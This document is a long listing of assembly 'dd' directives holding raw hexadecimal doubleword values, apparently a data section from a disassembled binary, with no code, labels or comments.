dd 0FDA9215Fh, 8094AD78h, 0A87ED605h, 0A5FDB01Bh, 915014B2h
dd 6917ECCFh, 93137304h, 72A37085h, 8062CA67h, 0CD0926E4h
dd 0F581590Fh, 67FEA466h, 0A1270CFCh, 0C2B0C281h, 0D8912034h
dd 92D2C40h, 76C9268Ch, 48965FE6h, 4B3CF952h, 0D4739405h
dd 170EA339h, 0E644E568h, 0FED70DE9h, 0C2DF4A0h, 9E5D603Dh
dd 133A024Ah, 0AF0BCC1h, 0C1F07212h, 0E32E0590h, 0A9E1D171h
dd 15AB061Bh, 750C3A5Eh, 0EBBF25C5h, 64A615E1h, 0E65C887Ch
dd 7986327Bh, 2B85429h, 45D43D16h, 402B6821h, 0E8906C38h
dd 176EE908h, 6801B800h, 5C31473Eh, 0E8E180C8h, 0C15F0152h
dd 0EFE46621h, 23199574h, 3A7DEF2Fh, 6DE1062Ch, 1ABE68C1h
dd 0D29CC178h, 325C01E1h, 2041AB44h, 0DC12E54h, 575EF101h
dd 2194730h, 0C1453A6Ch, 156107EAh, 0BC833042h, 96E55631h
dd 1F156F94h, 87B50F8Ah, 5BDA8942h, 1E27C040h, 10E850Fh
dd 8ED0AD5h, 0F685A02h, 0A9E8B06Eh, 145BA1FCh, 39391901h
dd 2A3929Dh, 5FFB0109h, 680057C5h, 13BB499Dh, 50482D58h
dd 0C004CC3h, 2C385335h, 1AD8F732h, 3859D7E9h, 0FAEB41DCh
dd 0B03B20EFh, 0A9935469h, 4B657BC7h, 0B8500798h, 1DC8024Bh
dd 0FE7B00B2h, 55C20163h, 5A1494BDh, 6936711h, 3E3135DBh
dd 60AB010Ch, 0E5C16F6Ch, 662B2006h, 0CED95A81h, 0C0C3152Bh
dd 9FF5292h, 11293CD6h, 5405384Eh, 6F816859h, 65C2A634h
dd 70DA420Bh, 37060E09h, 0F7E965C5h, 0B0460184h, 6D905493h
dd 0DC0A7A4Bh, 0A63D6F68h, 8172D389h, 0E498E91Fh, 0A24B3033h
dd 0B02192D2h, 5958509Fh, 0B637D05Ah, 0E910EFE2h, 64B16593h
dd 249FA359h, 83016C53h, 460B932Fh, 74B8CEF8h, 97487D70h
dd 6E5EAF41h, 2704F55Fh, 0DAC7320Fh, 203C23Eh, 0BE3F489h
dd 0BCB25BD9h, 58E2FE7Ch, 26BF000Ah, 0B58B465h, 0AC5F3E7Dh
dd 5992139Ah, 2D7E05B7h, 97ABB932h, 532091CCh, 4A1F9003h
dd 49BBA35Dh, 0B0500081h, 66092CE7h, 27B73853h, 5B01F83Bh
dd 0E8C0DF0Ch, 12E1F207h, 0FD327A0Fh, 0B5C818C7h, 0A377ED3h
dd 460D9EA2h, 57BB8A2Ah, 4205689Bh, 5B5262ABh, 0EF2808BCh
dd 2E68F208h, 0C0365C8Dh, 11124250h, 4DEF06B5h, 5852580Fh
dd 899F4520h, 0E078894Ch, 78295A99h, 0B3AA24CBh, 0BCBBA01Bh
dd 0E848CBEDh, 0BE80D67Dh, 0E4B0F80h, 522A875Bh, 565A8EEDh
dd 0C1825ECEh, 0F48206E6h, 8CD06CE9h, 0C968660Eh, 1BD1974Eh
dd 6F75AE4Bh, 17D44120h, 176AB978h, 0AC22C010h, 531CD830h
dd 0C342FEB3h, 0A028EC68h, 80D6B277h, 0FE4973F2h, 0F0D3FC12h
dd 0C82AEBEBh, 4D40B683h, 432C06B9h, 0EE311125h, 0D2F83A26h
dd 0E6787FE2h, 44E92764h, 0FFBB7900h, 75C8367h, 3B0E20FAh
dd 8FA73204h, 0FB5E87EAh, 322B3008h, 8E577984h, 2C891FD1h
dd 41CB0B8Eh, 47385A1Eh, 389BB7A1h, 1FA8106Dh, 6950BD42h
dd 0D415D021h, 1878F448h, 0C262330h, 1A25285Dh, 1259F96Bh
dd 50CFA929h, 0E6C2AD86h, 0D95EF501h, 16DB1A63h, 263C9555h
dd 86AB26BAh, 1F6B68ACh, 0F64BBAF6h, 77520535h, 0FC27BA8h
dd 0E468C8AFh, 4A974257h, 52FC748h, 0AD1FE5E9h, 1019F88h
dd 0E6D13353h, 54342422h, 3428AF24h, 3140B2Dh, 15424633h
dd 8081070Fh, 0E844E529h, 3750185Bh, 1541D494h, 38A13328h
dd 3DB0A8C1h, 0F029DCC7h, 49AF6A74h, 0D6F1C2CDh, 6557506Bh
dd 0E5FACB33h, 885EEC4Fh, 7498172Eh, 5B200302h, 5020058h
dd 8EBF23D6h, 0E187728Bh, 7C3125A1h, 0F232107Bh, 0E948E09Fh
dd 18956F81h, 2D674D7Eh, 0B00028B9h, 42AC76B7h, 5482B1A2h
dd 5025CA3h, 6F357C02h, 0F00CD365h, 0E7CA8C93h, 56C1A658h
dd 6E205E54h, 0B31EC0F3h, 8BD828B0h, 27E214BFh, 94940CC2h
dd 912594Dh, 565BFD28h, 0C4F5187Fh, 0A6B10BC8h, 0D2D3780Bh
dd 156B2ED1h, 3A9768A5h, 62672083h, 0B148BBFh, 3C96CF31h
dd 2741D9FBh, 5BA2406Ch, 44EA4F28h, 25FAB22h, 756F04ACh
dd 0FF96A9B0h, 2E685780h, 28705852h, 99AC63B0h, 0EC793B04h
dd 7B1FCF5Eh, 9CA914EFh, 88A34458h, 63C433E9h, 55F450B6h
dd 3CD79419h, 728127FCh, 54DCE572h, 0A60CFBFCh, 0C211C27h
dd 346D3878h, 84264AFBh, 8A740586h, 0A59B215Ah, 90426803h
dd 0F0DD2482h, 5F178FA1h, 2CBB9EC4h, 48420F66h, 26DAA89Fh
dd 6F14AB86h, 11BADB06h, 6812C798h, 0D8333A07h, 6AB5C855h
dd 5D763FFEh, 3D094BE9h, 0BC583024h, 0D9B214EEh, 0A7E72A85h
dd 4EC4567Dh, 4BF67FADh, 0FC11E36Bh, 0B38F893Fh, 4A3A0B5h
dd 74E82840h, 0E9ECE52Ch, 2EFF9472h, 0D67C6448h, 9925C299h
dd 1384E81Bh, 22883D02h, 0C9E1F3A5h, 0EE313E33h, 4D6BB30Fh
dd 0D47D01A6h, 0AD7AAFCh, 999513A2h, 2C9606D0h, 8027E99Bh
dd 6930A14Eh, 3E31DE0Ah, 0C77E003Eh, 6EEB3957h, 780DD596h
dd 0DE1675CCh, 0B464F871h, 0B8032F25h, 0ECA25066h, 59562C42h
dd 429F9C0h, 8B90771h, 82CD5575h, 7D5AD1h, 4A390E0Ch, 9340950Bh
dd 79007735h, 0BF57438Bh, 9562B85h, 5FF82976h, 78CC2BA0h
dd 501214Dh, 3ED47EACh, 8F78CEE9h, 0C5FB674Ah, 58975D65h
dd 0C3010B60h, 92BD13A6h, 0F18EC922h, 12E1F720h, 0B529E927h
dd 0D7840205h, 0BD01E1FEh, 1350283Fh, 192123Bh, 47327B0Eh
dd 2A03386Eh, 0FE039953h, 66E588C4h, 59EAA058h, 80D10F86h
dd 1693ACF1h, 22616B4h, 93B252D8h, 7260ACF8h, 0E280550Eh
dd 70EAE69Ch, 0E999A0B0h, 84356B14h, 38073DB8h, 0E0405D81h
dd 5517E81Eh, 1D2C9C0Fh, 0BEE051A2h, 0A5832F59h, 0EF2292C4h
dd 14B05D5Eh, 602568E1h, 80BAB20Ah, 0A61EF81Ch, 0B2BB03Fh
dd 6F1F0495h, 53037DD0h, 91C67CBBh, 91E7762h, 29545068h
dd 820A8DCh, 1C91AAB4h, 3D1F99D2h, 0B1532493h, 0CA231E18h
dd 7633770Ch, 0F8E2095Fh, 0B7609924h, 0F3046847h, 6418E945h
dd 0AB75300h, 22EEFC0h, 6336980h, 0DEC7B13Ch, 20B3E0E7h
dd 98EA90F8h, 0B8AEEEF1h, 0E93B3FDFh, 9772EE2Ch, 0C1372D8h
dd 84B0D604h, 20EC9B5Ch, 0C90CA092h, 2D09263Bh, 0A8BE13B8h
dd 8CC85A93h, 0A1176978h, 40691EF3h, 81DA013Fh, 652D3FC2h
dd 11083F05h, 7B2D0160h, 2A29DE1Dh, 0F8958E22h, 301497A6h
dd 213E0DEDh
dd 59515919h, 2A797B16h, 0D1139978h, 0E93B42E2h, 8D5C58CAh
dd 802B4950h, 0D5EED2F6h, 0CFF0195Ch, 2B0B5AF7h, 75F452FCh
dd 8241D77Bh, 9F612E27h, 0F4433E4Fh, 0D92AD2E3h, 4D9C13Dh
dd 0C64970h, 0F71E7C27h, 11A62DD8h, 25007BE8h, 59394462h
dd 3A49BB35h, 9B80383Bh, 210ACE37h, 0C559E9C3h, 2E466063h
dd 419AF45h, 6049F2BAh, 0F1348097h, 29FCFD35h, 46B21EDh
dd 0D90BAE08h, 2B7729Bh, 407BD5CAh, 0E4E1561Eh, 0F0912B33h
dd 0AC002721h, 0E4FC192Ch, 8B57FBAh, 8A319C3Fh, 5B00DFBDh
dd 0F0BC009h, 71B3BF84h, 6651279Ah, 0A933E98Bh, 6071C25Ch
dd 801FEF3Bh, 457C06BEh, 0FE315112h, 0BE69C00h, 34B394Fh
dd 73376853h, 68275445h, 4E0770DEh, 7EA7E411h, 0F3FE18BFh
dd 0A85A9CD9h, 412820CCh, 0A76076B0h, 5EF0211Ah, 8E801C1h
dd 0F750C831h, 0C2423C14h, 7C270F68h, 8D5644D9h, 46FF207Ah
dd 5F877016h, 0E908A242h, 2DA4E8C1h, 1F17FC3Ah, 15C221D2h
dd 0BB029CAAh, 25914A7Bh, 93E29743h, 71B81458h, 8C0CB900h
dd 59CA096Ch, 0B6E2A042h, 0C9070BF2h, 0DE29D8E9h, 55C2DFC3h
dd 52C40554h, 39BFB194h, 925439EAh, 6684E3CDh, 0C21F3589h
dd 0B60EA2Eh, 0D056371h, 0DFB8E913h, 89849726h, 1FF0BA9Eh
dd 0C12C0C50h, 70608EAh, 61023290h, 2923C384h, 411EF9D6h
dd 305EF189h, 641CD36h, 0C2A6E3D4h, 5EDC154h, 6CD08B61h
dd 17374A81h, 0C958F4h, 0A5A77878h, 8B46C829h, 715F0BB7h
dd 0D53C2E7h, 916B4CDCh, 0F80433F6h, 73EEDFF6h, 0AE88AF16h
dd 0B3ADD78Dh, 4E68C565h, 0A64010B3h, 0CD540084h, 34E6BD64h
dd 681670F9h, 58705A48h, 4946E955h, 0D53BAFD0h, 0EA92E99h
dd 577E2052h, 0D1E0900h, 5EEB815Bh, 0C61D0BA5h, 4F16DA89h
dd 0E905C780h, 9D00484Fh, 1BA42D5Ah, 89640930h, 39FB58C5h
dd 55131FA1h, 5310EAA7h, 0ADE982BBh, 0F6EFA4Eh, 4D646CF6h
dd 0BAB4A664h, 528A2D60h, 29671361h, 2C9CB3DFh, 3E2402FDh
dd 5BA1F341h, 6031B861h, 0BE2A75F4h, 3FE1CAC2h, 81E261BEh
dd 4FDED185h, 9796F151h, 0EBFD005Dh, 817A6B01h, 2101F274h
dd 0E9425389h, 687EB1ECh, 74272A2Ah, 2E12EAh, 0E3D15A08h
dd 0AB41F3C1h, 2D00A822h, 2C3D152Fh, 0AEC7BB29h, 0C81F68ABh
dd 40F90728h, 19D2E911h, 0FEF269C0h, 5CE5F1BDh, 0C931D89h
dd 0EB2122B5h, 648E360Bh, 271CF0D1h, 19A9F801h, 7F9BF096h
dd 894872CAh, 1150218h, 275A4ED0h, 2088386Ch, 4DA528A5h
dd 5B18CC77h, 0F7F24915h, 0C008D66Ch, 70B9148Eh, 0CA32BBB4h
dd 147F5E36h, 6102B127h, 0A7AF67E9h, 404E0430h, 9D8240AFh
dd 58393703h, 0A690B298h, 0E962140Bh, 9DFED832h, 0FDE2BE33h
dd 0BA010A74h, 0B151FE7h, 0AFFE403Fh, 1520825h, 0C415446h
dd 0E9C34A22h, 0A5C5169h, 0EFA901E0h, 0C701DFE5h, 9A41678h
dd 0C2C8A895h, 9AB5C5BBh, 2618543Bh, 0EAEF09A3h, 88BA3ADEh
dd 21C756Dh, 4D4B5423h, 1F67D40h, 254F1E58h, 88F682EDh
dd 6084F4F5h, 0BEE5805Bh, 0EE02C5E6h, 5E9EA28h, 0B939D9DFh
dd 58CCC84Bh, 948B5B9Ch, 5B0D5CC6h, 0D21015B4h, 54DA68E4h
dd 4EEBE014h, 7E09F35Dh, 0ADA90A2Fh, 0EE7C362Bh, 81C6557Ch
dd 422930h, 813B9216h, 0F462BECDh, 81F7192Fh, 0A730C6A2h
dd 0BFED2271h, 80F10907h, 58C72860h, 0E9F81730h, 0F623C4E5h
dd 9C680C98h, 5B649749h, 4FDBD8D0h, 0A2E0545h, 2508C6DAh
dd 1332B902h, 0DE011468h, 0CAEE8102h, 6B57A735h, 0E3D94B0Ah
dd 1687C854h, 0B0E1AC5Ch, 0A8BE9EE9h, 7E936886h, 0D2075A6Eh
dd 987EA1E9h, 0D0EE8009h, 10A7653h, 0F430ABC6h, 2462E95Ah
dd 0F501812Ch, 24038821h, 3D7EEE01h, 0C6262F7Dh, 6226B40Eh
dd 87C4205Ch, 5881A3FCh, 0A0CE63D8h, 0AB08931h, 0E83120C0h
dd 0C5843FF6h, 0C24C4802h, 9BCE1E71h, 2D2BA09Dh, 75655274h
dd 4DFE0902h, 40735AB9h, 0E8C962Bh, 0FF273CAh, 20E67660h
dd 0EDC09065h, 0E00D25A6h, 1E57B900h, 8B21E15Eh, 0A0C4C3h
dd 7E5B3B6Ch, 0D490C1F6h, 0BE032AB4h, 0DD47318Ah, 0E39225C1h
dd 91D57524h, 0EE0963EFh, 484F687Eh, 0A2A9DD21h, 21EBD101h
dd 4A162B49h, 0C3553832h, 983C9694h, 0C95BB097h, 7F40A82h
dd 6F1C8B38h, 0FA317230h, 8A034F7Ch, 0C35E13D1h, 5EB57149h
dd 0BFB960C6h, 2E12503Dh, 7CB01BE9h, 30D93BB1h, 0E3B2580Eh
dd 2C59CAA1h, 0EEC12EEBh, 7E06D8BEh, 0C2669E0Ch, 8B016C22h
dd 40300C17h, 0B8502F00h, 2CCA0A35h, 0BF8093Fh, 0B085DDF7h
dd 2DFE0702h, 8B082B5Fh, 0D8263FFEh, 0B3481266h, 4AB3005Ch
dd 28BDEB80h, 0C85B4AD8h, 5F4E8A70h, 0A9AC3032h, 903D96D7h
dd 0CAF94F29h, 5B5A251Ah, 0C74109DBh, 0EB8A76h, 0FE70FC9Dh
dd 9E0AB04Eh, 0A0CE4497h, 9A33E923h, 0A9F71766h, 47D0805Ah
dd 59B23B52h, 4CC7EA1Eh, 0D50C0ECAh, 26E96580h, 0E21AAB19h
dd 62F91BBFh, 76427F93h, 8239EAD1h, 5F36DFBFh, 0EAFA77BAh
dd 0E4420A27h, 0F7554E00h, 0E95182ADh, 15A3F88Dh, 82350168h
dd 26BAD413h, 762F59B0h, 315BC6F2h, 0C53EFA01h, 0D2F59427h
dd 75B30193h, 0CA010AF3h, 3A6C2EFDh, 57535F25h, 2AE9EFB1h
dd 162E0935h, 2ED8B3ADh, 25BCADE3h, 415E44F3h, 55607EB1h
dd 0B65EA768h, 92AD6547h, 1377BD4Bh, 94CDEAF8h, 5CEEF6ECh
dd 0B380FE1Bh, 31E79E90h, 5B245F0Eh, 0E9D2A25Dh, 562FD743h
dd 0E03F17B2h, 0E42C74B2h, 0B316AE69h, 0F25932C8h, 433B5FA7h
dd 4A2C6431h, 146005C0h, 0EB2DB02Fh, 90FEA3Ah, 5B59B1B0h
dd 0A06BCF98h, 80BBF150h, 68C8BE0Fh, 78932F91h, 3580DC17h
dd 94BF580h, 6604EDC0h, 0F3FE3B07h, 4A4AFA1Eh, 4E8A1AD8h
dd 0BBD65BD4h, 6A13EBBCh, 3E2B8E01h, 0C8217F1Ch, 80DD8F20h
dd 878EFC1h, 53AD7834h, 0C5144AA5h, 0D71242ECh, 72DB9713h
dd 1D76129Ch, 15A35CE4h, 293C0596h, 0CA8FAC21h, 0B51086D4h
dd 4B95B803h, 84D77BA5h, 70AF44Fh, 4B7A2E41h, 7D0B579Bh
dd 889284D2h, 8201131Fh, 85780868h, 232CD21h, 216F75E0h
dd 6E84259h, 4FC15944h, 8358DCDFh, 8DC85B31h, 20C3E182h
dd 84942C87h, 0F7D024Eh, 831DFA20h, 0B6E42008h, 0C50C7DB1h
dd 2F2370Dh, 501328F3h, 154CD329h, 52000178h, 0D553A9BAh
dd 484EE923h, 0BDE2802h, 957CF3EBh, 0DE5AEE87h, 5EF70951h
dd 0C71C4A7Eh, 5943DDBh, 291FE535h, 0E2D9AF8h, 1D3C8611h
dd 0FD1D7230h, 0A0E0283Fh, 9F36469Dh, 0F73453C0h, 4C16B5Ch
dd 6F280B86h, 23B0F9C0h, 487944AFh, 136BF74Ch, 0B5F322E3h
dd 0F3805922h, 0B780370Fh, 0CF800741h, 27D7F663h, 0D0E773DFh
dd 3940C7D2h, 608249E6h, 82476BB2h, 81036F78h, 0DE1BBEC3h
dd 0FD0C0426h, 0C296D864h, 0D00BBBB0h, 33F61C9Ah, 0E8BAD672h
dd 1272480Eh, 0C6F2B8C4h, 171AEC40h, 0A0793114h, 0D154F79Eh
dd 85BDD902h, 3F3E78Dh, 8C7B5A2Dh, 0FABDEA0Ah, 0F05BD989h
dd 22E10660h, 0C715308h, 696D4805h, 5A15159h, 955191D5h
dd 402FECD2h, 4134F2DCh, 0CC016D4h, 22A45F1Ah, 0A5789E01h
dd 0F1A120E7h, 342FCABFh, 3095F858h, 0D35A2D16h, 90029E4Fh
dd 0D8417ABBh, 0BF2D606Eh, 5422D75h, 47C2268Fh, 8D428BE5h
dd 0D8013442h, 610D7238h, 0F814FC63h, 45186F60h, 957E927Fh
dd 311C3540h, 0B9FD9B83h, 2F79ED1Fh, 5B47277Eh, 0B20FC846h
dd 0AB75F53Dh, 0CBCEA857h
dd 7E1C141h, 479DC32Fh, 27016F99h, 5F2C7DD9h, 0B2C22215h
dd 0C43004AAh, 67CC812Ch, 4DC92B1Dh, 7B08C82Ah, 903A3929h
dd 1AEC58A7h, 263F72C2h, 0EBD47389h, 3406CE01h, 187A4F10h
dd 0C69CFC17h, 89F3E201h, 0BFE95FF9h, 0E4FD123Ah, 0BDB288F2h
dd 3C675A5Eh, 2152B6DEh, 5E7874B8h, 0E266134Ah, 27E1D001h
dd 20A54C54h, 2916D57Ch, 0C3F42DE8h, 8B68165Dh, 0CE336164h
dd 0E16B8A2Eh, 0EF03A408h, 0F1AF16DFh, 867559A6h, 5B67F930h
dd 0EC009D11h, 808237FAh, 0B714752h, 5939F615h, 0EA1C5E3Eh
dd 61D1129Ch, 20C8305Ah, 0DBB1D676h, 1AAFBB4Ah, 27EAF920h
dd 89872CEh, 712725Ah, 8542A0CAh, 67BA6A18h, 671878EBh
dd 550C21A0h, 73D72033h, 7029BE0Bh, 0E31244Bh, 0D559025Fh
dd 0D97CD1D6h, 8419CA8Eh, 15C306ACh, 21F8B9CEh, 4C86413Fh
dd 602FDC1Ch, 7E1FD009h, 0D0E57C34h, 0B7D5A29h, 0BC9257E8h
dd 0AB584174h, 84B080E0h, 665C307Dh, 53407327h, 7F873168h
dd 622DCC2Bh, 679276AEh, 5AD62916h, 0AFF20917h, 0B2921452h
dd 0E95E0907h, 556BCA86h, 0C4CF5204h, 3B3FBDC8h, 24CA90E6h
dd 0FB00FA48h, 0C13E8E77h, 0EFC02E5h, 0CBD5C86Eh, 0A8A744D6h
dd 82A487B2h, 5293C940h, 2926071Dh, 883ACA8h, 47AB1C00h
dd 0BE5667CCh, 4C0C7B43h, 1600D630h, 0C141943Ch, 0B8A102E6h
dd 45B2F8C2h, 59CE0918h, 0C1460518h, 8FEA222Ch, 29723EF2h
dd 4AC35866h, 0EC5616ACh, 9016A478h, 226004B7h, 6F1513DDh
dd 7CD1CEB0h, 59CB0B08h, 2F0DC65Ah, 2F514BE9h, 4B82C83h
dd 28C6A00Fh, 0E9D0EDE8h, 0B5C99271h, 8740AE9Eh, 0E82DA65Ch
dd 0E2949739h, 1708CC30h, 0F5BACC5h, 0EF092A33h, 89F152BEh
dd 6DDCE159h, 99B212EEh, 0C047C700h, 78FE07E2h, 0C4A7EACAh
dd 0AC889F16h, 5CA110ACh, 0B8B5814Bh, 99C96BA8h, 0C09B41FCh
dd 2C4FF7C7h, 0CDD0F43h, 58B51F44h, 2D02B4ACh, 7F9A6ADFh
dd 2552BE85h, 7A001070h, 16E4B3D3h, 2884BCE9h, 0FE0E52A8h
dd 1DA180CFh, 825BF828h, 51FD0496h, 7F3C40B1h, 0F391C7ADh
dd 0FF28D745h, 0BED3B665h, 0BF6CDE3Dh, 6F0AE9A1h, 660423CAh
dd 0F94A3F68h, 0B6520188h, 0F38853F4h, 1B60D8C9h, 21694D7h
dd 2F1A0EBEh, 0B03AF484h, 8B945A58h, 9B26E64Dh, 0DE414F55h
dd 4073E745h, 33E1084Ah, 8ABE2D3Fh, 8F289B17h, 2678580Bh
dd 0E6678F50h, 1FFBC1B4h, 56818F5h, 0AACD8709h, 450A2A19h
dd 2924DD71h, 0D701265Ah, 230D0237h, 0D4FB1A62h, 93645127h
dd 0DEAD101h, 20EB2228h, 0B3062D0Ch, 0A7B80AB8h, 65F55605h
dd 0FECC131h, 0BC9C82F5h, 2CB0B600h, 0F6F0E023h, 8E0B5FD4h
dd 22304A6Bh, 0BB07CA68h, 0FF2B2509h, 0AA09125Eh, 70525Bh
dd 2210F7C9h, 0E2BB5362h, 194B2512h, 63E1103h, 0BFBCF6h
dd 12BA5209h, 9B2CCF48h, 2DE05131h, 901B583Bh, 5C828F9h
dd 0C2CB307h, 0E9BD2068h, 0C4378025h, 0B2D9F004h, 6EC8A04Ch
dd 6927317Eh, 0C258C9D0h, 0CE791E41h, 0B324C7E5h, 6A2F8700h
dd 0B5D5F702h, 0DDA2738Eh, 4CC8DEE9h, 9B0D6856h, 46552F1Dh
dd 0FD9F4C69h, 0FC5A8212h, 7FE49053h, 28269963h, 25F9B7D0h
dd 398307A3h, 0A1415ADDh, 0B8EC2074h, 5B0071BEh, 5D786E2Dh
dd 8A05010Dh, 291AB369h, 78DF2D0h, 11201B2h, 3C3920E8h
dd 7EEDD9CBh, 0CE589B18h, 3959CDC8h, 5D55BE26h, 0BA4EE100h
dd 7B8504Fh, 5F5B146Bh, 54E9C721h, 4E77BEE7h, 98D964B6h
dd 5661275Dh, 5A1DD3AAh, 35D48302h, 4CC58902h, 0EDAC89BBh
dd 6CFD1E5h, 8FBBA388h, 0D409CCFAh, 843D084Ch, 5C0B01EAh
dd 205EB191h, 2D6933D9h, 51B78559h, 6CC542C2h, 81654BBAh
dd 418F6401h, 3C98A7A8h, 2352A14Fh, 0CBD4346Eh, 2B304A05h
dd 0A1C88566h, 4FA580E6h, 0B09D2BC8h, 0E23F989Ah, 0DECA9C06h
dd 953F2CAh, 4C21203Bh, 0D824F551h, 660209DEh, 0B782B990h
dd 32850F80h, 550CC9F2h, 77B98F40h, 425C7AE2h, 218907EFh
dd 0D5421D3Ch, 22EE75Ah, 40831422h, 9F98C2CCh, 0D748459Ch
dd 0DD91E970h, 0DF115A77h, 5382A488h, 0AFFC8CFAh, 0A9B5C397h
dd 17244DEDh, 54C17789h, 480188AFh, 0CB20C4FAh, 2FDE303Fh
dd 0B01BDA1Dh, 0EA8326CBh, 0C814137Dh, 8EC9575Eh, 49735E1Eh
dd 0FA785C09h, 2C50A298h, 0FE24D4A5h, 5E3843C2h, 9C7A95CDh
dd 0C79EB0DBh, 5446612h, 5A0B97A2h, 339AA678h, 0D145221h
dd 322590E9h, 0EB5CCF94h, 81FE5EB9h, 354A7CE5h, 6BB52032h
dd 5CD34B3Ch, 5B685CEh, 5F7B31CAh, 97CFC7EBh, 0F0020B16h
dd 1C0AB259h, 4C14A510h, 81FF030h, 16E9D6EAh, 51ECD2A2h
dd 3D40736Ah, 6880BB72h, 615C6271h, 9C752A80h, 0E09DA000h
dd 0B9A59FDAh, 0F4069794h, 701FFD7h, 147A114Eh, 38DD0C82h
dd 0A87815BEh, 4408C151h, 0A7141FD1h, 0F7330978h, 0D48BA1D7h
dd 0A14B2F8Bh, 765F6D6Dh, 47925094h, 0FABD6EC0h, 60EB3D52h
dd 0BAC1DB2Dh, 0FB653A54h, 0D19B60BFh, 0FC939E9h, 0D2AA0158h
dd 712DD030h, 2FE6C38Ch, 1708C7B5h, 6EB7CDEAh, 310B288Bh
dd 1C0868C3h, 0ACFA89AEh, 12A01E28h, 0F3FBA46Ah, 0AB49F913h
dd 2CC3AA00h, 4A930EA0h, 0E9E9D089h, 0BB9FA89Eh, 0D870DA95h
dd 3DB9507Dh, 54CF7C29h, 0F2DF8CDh, 81B2FD4h, 0B435FB44h
dd 2712F48Ah, 0ACFC60FCh, 0A73CCC17h, 38C24152h, 25E9B83Ch
dd 6F3ECE6h, 0C5EF8101h, 45709145h, 2E2B0D7h, 46707192h
dd 2B58ECE9h, 58C20902h, 0F129C968h, 0D2A988A9h, 36090126h
dd 0D9E451Bh, 492295E0h, 65D6E5C1h, 0C4536DA2h, 0D105B912h
dd 0C818FAE6h, 243D9FC2h, 2AE7303Bh, 0F2D062Bh, 0BC402A71h
dd 50207E01h, 0AFA4E914h, 0D6079675h, 5AD06785h, 0B6E8215Ah
dd 0EDC15146h, 11093B18h, 0D9770B68h, 0E5918C00h, 0C7EEEA8Fh
dd 4440325Eh, 20F70538h, 0FAC80BBEh, 8B58DF08h, 4D72893Fh
dd 0F18841C6h, 250423E6h, 0D8AD685Bh, 0D14CC43Fh, 1C62EAE2h
dd 5963E8DBh, 5BF92788h, 818067D9h, 507785EAh, 0FE1BF06h
dd 880840C2h, 7D2CE90Ah, 0F79555F4h, 0B5FE2AA9h, 2508E999h
dd 0DD88070Ch, 59EC305Bh, 664EE328h, 0A602F808h, 0B4504056h
dd 0D22FE952h, 0B2ADB0E3h, 626B9E6Eh, 6C68FE1Bh, 7BDE0CBh
dd 61192C3Bh, 133BCC6Bh, 8FDBB2DAh, 27B6168Bh, 0C0C55A2Dh
dd 27C08A88h, 0E50BEE72h, 0F8FE6530h, 443401F0h, 89524898h
dd 6FC22FEAh, 94C7435Dh, 0CEE6CCAAh, 912A3BCh, 9491B991h
dd 0C92AC065h, 34BBED4Bh, 0CD4A3197h, 71C5942Ch, 0FC2B2E4Eh
dd 7F2300CDh, 5E8290Ch, 817707A2h, 0F4564C0h, 7BEB6420h
dd 594C287Eh, 6B4A05EAh, 0FF295672h, 347B0241h, 0C8178A6h
dd 456B339Bh, 41DF3801h, 22ED3008h, 75963419h, 0A0071ACCh
dd 3FD44181h, 5154F0F4h, 0DF01BE9Bh, 317CB137h, 443F5EF2h
dd 0FBBD9ED2h, 91E48841h, 238E55D7h, 0A3B62D68h, 1A370503h
dd 2AF2554h, 0C029EB1Ah, 5CE90BFDh, 6BF85810h, 0C131C027h
dd 0CB7035BCh, 0A0545B32h, 0D860F7AEh, 0C405071Ah, 6E0C0962h
dd 59F8C231h, 984DCB20h, 69BF0338h, 0EE215D61h, 18CC59Dh
dd 7A59C5CFh, 0A0742C05h, 0F043CA0Dh, 5DEA39h, 3551721Eh
dd 60AB7C09h, 0C1648961h, 0AB7402E2h, 0CE3B02D8h, 0B930E94Eh
dd 74C27AF6h, 7CC40F3Ah, 4B9CCD36h, 59076153h, 0DFC2FD68h
dd 1254D0B2h, 975CE950h, 9900180Bh, 34936806h, 3D7946BFh
dd 799652DAh, 40FDF244h
dd 1B029387h, 0E2E93DA1h, 0AC5B6B46h, 2EEA2980h, 56630D32h
dd 2B91D031h, 95539328h, 7CC930EEh, 8BE2B05Eh, 25EB921h
dd 29BF039Ah, 403CC255h, 0BF66900h, 0E8C480DCh, 0BC872B84h
dd 4C994B19h, 85100B3Fh, 57022C5Ah, 91617BBFh, 0D2015549h
dd 2076080Dh, 0DC5BD68h, 6BFCDF29h, 229FB092h, 72D95F0Eh
dd 0C98160F7h, 782D4391h, 41D12E17h, 16AE3984h, 0C861428Ah
dd 0F0630B09h, 9C6DF43Fh, 0F23A2D12h, 95204B6Eh, 485F6292h
dd 0BB79B6CEh, 85520B92h, 59306FB6h, 145B05D6h, 0C8F7F9EDh
dd 67600D6Bh, 1930800Ch, 17A2B83Eh, 0F8B269E9h, 433CC1E8h
dd 0A1413560h, 87692832h, 8095B2C0h, 6C14DF2h, 0A917E96Eh
dd 5680553Ch, 27356851h, 94B826E4h, 0F71E925h, 33348477h
dd 3DBF81AAh, 0BA9C3FA3h, 7CA82468h, 0C156692Ch, 0F77948E9h
dd 0EE5149F9h, 0A45FECD2h, 76F76CC3h, 0D1024B9Bh, 8CBA8809h
dd 2B420F8Fh, 5AC440A6h, 0C6BCE4ECh, 0C95A5125h, 8D41EF85h
dd 0A55D7C29h, 95A9D9C8h, 2AED9A20h, 8D7BC3CBh, 5616454Bh
dd 4B6D63D9h, 37311112h, 1BFB5Bh, 49BFA38Eh, 9EBA0873h
dd 7D83E500h, 5D5FFA01h, 57095B0Ch, 5A77CA1Ch, 2947A391h
dd 6805086Fh, 655E7694h, 1A44F209h, 0A0184B8h, 5EED32BBh
dd 0A38834DCh, 0C7010E35h, 0A8D8F8EBh, 25BA294Ch, 0E9793021h
dd 9194CD4h, 702AC96h, 31C7A27Ah, 0C25AD712h, 847ED980h
dd 2500368h, 0F29FABE9h, 40B62F26h, 0D298465h, 0E912EEA8h
dd 8AECF8A5h, 0DE705489h, 0AD6D3A0Ah, 0E9099F6Ah, 6839611Fh
dd 703344D9h, 0BF69894Eh, 5CCB970Eh, 955EA6CCh, 5CE12ED9h
dd 93BC5E9h, 607E05B1h, 0BFE22773h, 0F80B84E4h, 0A583E95Fh
dd 57FFBED9h, 0D160E0EDh, 22C9996Bh, 922EF4h, 4D6F380h
dd 8E5CE172h, 722C3A5Ch, 12E072F1h, 0AC5C4E9h, 824447FDh
dd 163731Ah, 36CF8127h, 6A75E22Bh, 0C82D65D9h, 6490B05Fh
dd 71A3D55Bh, 0E2FAB45Eh, 0D6E62641h, 0A246EB43h, 0F067E918h
